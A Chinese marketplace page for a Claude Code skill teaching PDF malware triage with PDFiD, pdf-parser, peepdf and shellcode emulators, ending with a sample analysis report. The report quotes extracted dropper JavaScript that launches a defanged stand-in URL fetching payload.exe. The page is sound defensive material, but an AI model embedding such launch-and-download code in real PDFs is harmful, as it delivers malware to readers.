mcpField
A
analyzing-pdf-malware-with-pdfid

analyzing-pdf-malware-with-pdfid

github.com/mukul975安全35.2k319 次安装8 周前更新
代码仓库

关于 analyzing-pdf-malware-with-pdfid

该技能面向恶意软件分析人员,提供使用 PDFiD 和相关工具进行 PDF 结构分析的流程。它侧重识别可疑对象并提取 JavaScript、Shellcode、嵌入文件和 URL,而非分析页面视觉内容。

主要功能

  1. 01用 PDFiD 进行初步结构筛查
  2. 02使用 pdf-parser 检查 PDF 对象
  3. 03提取并分析嵌入的 JavaScript
  4. 04提取 Shellcode、文件和 URL
  5. 05整理恶意软件分析报告

适用场景

  1. 01分流邮件安全系统标记的可疑 PDF
  2. 02检查 PDF 中的脚本、漏洞利用或 Shellcode
  3. 03提取恶意 PDF 中的文件和网络指标

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzing-pdf-malware-with-pdfid

安装后在 Claude Code 中输入/analyzing-pdf-malware-with-pdfid确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

使用 PDFiD 分析 PDF 恶意软件

何时使用

  • 邮件安全系统标记了可疑的 PDF 附件,或用户报告了可疑的 PDF 附件
  • 你需要确定 PDF 是否包含嵌入式 JavaScript、shellcode 或漏洞利用代码
  • 在沙箱或分析环境中打开 PDF 文档之前对其进行分类
  • 从恶意 PDF 对象中提取嵌入式可执行文件、脚本或 URL
  • 分析针对 Adobe Reader 或其他 PDF 查看器漏洞的 PDF 漏洞利用工具包

请勿使用本方法分析 PDF 的渲染视觉内容;本方法用于对 PDF 文件格式进行结构化分析,以查找恶意对象。

前置条件

  • Python 3.8+,并安装 Didier Stevens 的 PDF 工具(pip install pdfid pdf-parser)
  • 安装 peepdf 以进行交互式 PDF 分析(pip install peepdf)
  • 从 poppler-utils 安装 pdftotext,以安全地提取文本内容
  • 使用带 PDF 专用规则的 YARA 进行恶意软件家族识别
  • 未安装 PDF 阅读器的隔离分析虚拟机(防止意外打开)
  • 使用 CyberChef 解码嵌入的 Base64、十六进制或 deflate 流

工作流

第 1 步:使用 PDFiD 进行初步分类

扫描 PDF 中的可疑关键字和结构:

# Run PDFiD to identify suspicious elements
pdfid suspect.pdf

# Expected output analysis:
# /JS           - JavaScript (HIGH risk)
# /JavaScript   - JavaScript object (HIGH risk)
# /AA           - Auto-Action triggered on open (HIGH risk)
# /OpenAction   - Action on document open (HIGH risk)
# /Launch       - Launch external application (HIGH risk)
# /EmbeddedFile - Embedded file (MEDIUM risk)
# /RichMedia    - Flash content (MEDIUM risk)
# /ObjStm       - Object stream (used for obfuscation)
# /URI          - URL reference (contextual risk)
# /AcroForm     - Interactive form (MEDIUM risk)

# Run with extra detail
pdfid -e suspect.pdf

# Run with disarming (rename suspicious keywords)
pdfid -d suspect.pdf
PDFiD Risk Assessment:
━━━━━━━━━━━━━━━━━━━━━
HIGH RISK indicators (any count > 0):
  /JS, /JavaScript  -> Embedded JavaScript code
  /AA               -> Automatic Action (triggers without user interaction)
  /OpenAction       -> Code runs when document is opened
  /Launch           -> Can launch external executables
  /JBIG2Decode      -> Associated with CVE-2009-0658 exploit

MEDIUM RISK indicators:
  /EmbeddedFile     -> Contains embedded files (could be EXE/DLL)
  /RichMedia        -> Flash/multimedia (Flash exploits)
  /AcroForm         -> Form with possible submit action
  /XFA              -> XML Forms Architecture (complex attack surface)

LOW RISK indicators:
  /ObjStm           -> Object streams (obfuscation technique)
  /URI              -> External URL references
  /Page             -> Number of pages (context only)
第 2 步:使用 pdf-parser 解析 PDF 结构

检查 PDFiD 识别出的可疑对象:

# List all objects referencing JavaScript
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf

# List all objects with OpenAction
pdf-parser --search "/OpenAction" suspect.pdf

# Extract a specific object by ID (example: object 5)
pdf-parser --object 5 suspect.pdf

# Extract and decompress stream content
pdf-parser --object 5 --filter --raw suspect.pdf

# Search for embedded files
pdf-parser --search "/EmbeddedFile" suspect.pdf

# List all objects with their types
pdf-parser --stats suspect.pdf
第 3 步:提取并分析嵌入式 JavaScript

从 PDF 对象中提取 JavaScript 代码:

# Extract JavaScript using pdf-parser
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt

# Alternative: Use peepdf for interactive JavaScript extraction
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF

# peepdf interactive commands for JS analysis:
# js_analyse          - Extract and show all JavaScript code
# js_beautify         - Format extracted JavaScript
# js_eval <object>    - Evaluate JavaScript in sandboxed environment
# object <id>         - Display object content
# rawobject <id>      - Display raw object bytes
# stream <id>         - Display decompressed stream
# offsets             - Show object offsets in file
# Python script for comprehensive PDF JavaScript extraction
import subprocess
import re

# Extract all streams and search for JavaScript
result = subprocess.run(
    ["pdf-parser", "--stats", "suspect.pdf"],
    capture_output=True, text=True
)

# Find object IDs containing JavaScript references
js_objects = []
for line in result.stdout.split('\n'):
    if '/JavaScript' in line or '/JS' in line:
        obj_id = re.search(r'obj (\d+)', line)
        if obj_id:
            js_objects.append(obj_id.group(1))

# Extract each JavaScript-containing object
for obj_id in js_objects:
    result = subprocess.run(
        ["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
        capture_output=True, text=True
    )
    print(f"\n=== Object {obj_id} ===")
    print(result.stdout[:2000])
第 4 步:分析嵌入式 Shellcode

从 PDF 漏洞利用中提取并检查 shellcode:

# Extract raw stream data for shellcode analysis
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf

# Analyze shellcode with scdbg (shellcode debugger)
scdbg /f shellcode.bin

# Alternative: Use speakeasy for shellcode emulation
python3 -c "
import speakeasy

se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)

# Review API calls made by shellcode
for event in se.get_report()['api_calls']:
    print(f\"{event['api']}: {event['args']}\")
"

# Use CyberChef to decode hex/base64 encoded shellcode
# Input: Extracted stream data
# Recipe: From Hex -> Disassemble x86
第 5 步:提取嵌入式文件和 URL

提取嵌入式可执行文件和链接资源:

# Extract embedded files from PDF
import subprocess
import hashlib

# Find embedded file objects
result = subprocess.run(
    ["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
    capture_output=True
)

# Extract embedded PE files by searching for MZ header
with open("suspect.pdf", "rb") as f:
    data = f.read()

# Search for embedded PE files
offset = 0
while True:
    pos = data.find(b'MZ', offset)
    if pos == -1:
        break
    # Verify PE signature
    if pos + 0x3C < len(data):
        pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
        if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
            print(f"Embedded PE found at offset 0x{pos:X}")
            # Extract (estimate size or use PE header)
            embedded = data[pos:pos+100000]  # Initial extraction
            sha256 = hashlib.sha256(embedded).hexdigest()
            with open(f"embedded_{pos:X}.exe", "wb") as out:
                out.write(embedded)
            print(f"  SHA-256: {sha256}")
    offset = pos + 1

# Extract URLs from PDF
result = subprocess.run(
    ["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
    capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
    print(f"URL: {url}")
第 6 步:生成分析报告

记录 PDF 分析中的所有发现:

Analysis should cover:
- PDFiD triage results (suspicious keyword counts)
- PDF structure anomalies (object streams, cross-reference issues)
- Extracted JavaScript code (deobfuscated if needed)
- Shellcode analysis results (API calls, network indicators)
- Embedded files extracted with hashes
- URLs and external references
- CVE identification if a known exploit is detected
- YARA rule matches against known PDF malware families

关键概念

术语定义
PDF 对象PDF 文件的基本构建块;对象可以包含流(压缩数据)、字典、数组以及对其他对象的引用
OpenActionPDF 字典条目,指定文档打开时要执行的操作;通常用于触发 JavaScript 漏洞利用
PDF 流PDF 对象内的压缩数据,可以包含 JavaScript、图像、嵌入式文件或 shellcode;通常使用 FlateDecode 压缩
FlateDecode应用于 PDF 流的 Zlib/deflate 压缩过滤器;必须解压缩才能分析内容
ObjStm(对象流)PDF 的一项功能,将多个对象存储在单个压缩流中;恶意软件利用它来向简单的解析器隐藏可疑对象
JBIG2PDF 中的图像压缩标准;历史上的漏洞利用来源(CVE-2009-0658、CVE-2021-30860 FORCEDENTRY)
PDF JavaScript APIPDF 文档中可用的 Adobe 专用 JavaScript 扩展,用于表单操作、网络访问和操作系统交互

工具与系统

  • PDFiD:Didier Stevens 的工具,用于扫描 PDF 文档中的可疑关键字和结构,而无需解析整个文档
  • pdf-parser:PDFiD 的配套工具,用于详细的 PDF 对象提取、流解压缩和内容分析
  • peepdf:基于 Python 的 PDF 分析工具,提供交互式 shell,用于对象检查和 JavaScript 提取
  • QPDF:PDF 转换工具,用于线性化、解密和重构 PDF,以便更轻松地分析
  • scdbg:Shellcode 分析工具,可模拟 x86 shellcode 执行并记录 API 调用

常见场景

场景:分析带有嵌入式 JavaScript 的钓鱼 PDF

背景:电子邮件网关标记了一个带有可疑 JavaScript 特征的 PDF 附件。安全团队需要确定它包含的是漏洞利用还是社会工程重定向。

方法:

  1. 运行 PDFiD 以确认 /JS、/JavaScript 和 /OpenAction 是否存在及其数量
  2. 使用 pdf-parser 提取 OpenAction 对象并追踪其引用链
  3. 从引用的流对象中提取 JavaScript 代码(应用 FlateDecode 过滤器)
  4. 对 JavaScript 进行去混淆(解码十六进制字符串,解析 eval 链)
  5. 判断脚本是利用 PDF 阅读器漏洞(检查堆喷射、ROP 链)还是执行重定向
  6. 提取所有 URL、IP 和嵌入文件作为 IOC
  7. 对样本进行分类:漏洞利用(特定 CVE)或社会工程(重定向/钓鱼)

易错点:

  • 使用标准阅读器打开 PDF,而不是用命令行工具分析
  • 遗漏隐藏在对象流(/ObjStm)中的 JavaScript——PDFiD 能检测到,但简单解析器会漏掉
  • 分析前未解压流(FlateDecode、ASCIIHexDecode、ASCII85Decode 过滤器)
  • 假设没有 /JS 就意味着没有 JavaScript;代码可以嵌入表单字段(/AcroForm 配合 /XFA)

输出格式

PDF MALWARE ANALYSIS REPORT
==============================
File:             invoice_2025.pdf
SHA-256:          e3b0c44298fc1c149afbf4c8996fb924...
File Size:        45,312 bytes
PDF Version:      1.7

PDFID TRIAGE
/JS:              1  [HIGH RISK]
/JavaScript:      1  [HIGH RISK]
/OpenAction:      1  [HIGH RISK]
/EmbeddedFile:    0
/Launch:          0
/URI:             2
/Page:            1
/ObjStm:          1  [OBFUSCATION]

SUSPICIOUS OBJECTS
Object 5:        /OpenAction -> references Object 8
Object 8:        /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
Object 12:       /ObjStm containing objects 15-18

EXTRACTED JAVASCRIPT
Layer 1:          eval(unescape("%68%65%6C%6C%6F"))
Layer 2:          var url = "hxxp://malicious[.]com/payload.exe";
                  app.launchURL(url, true);
                  // Social engineering redirect, not exploit

EXTRACTED IOCs
URLs:             hxxp://malicious[.]com/payload.exe
                  hxxps://fake-login[.]com/adobe/verify
Domains:          malicious[.]com, fake-login[.]com

CLASSIFICATION
Type:             Social Engineering (URL redirect)
CVE:              None (no exploit code detected)
Risk:             HIGH (downloads executable payload)
Family:           Generic PDF Dropper

评论

支持 Markdown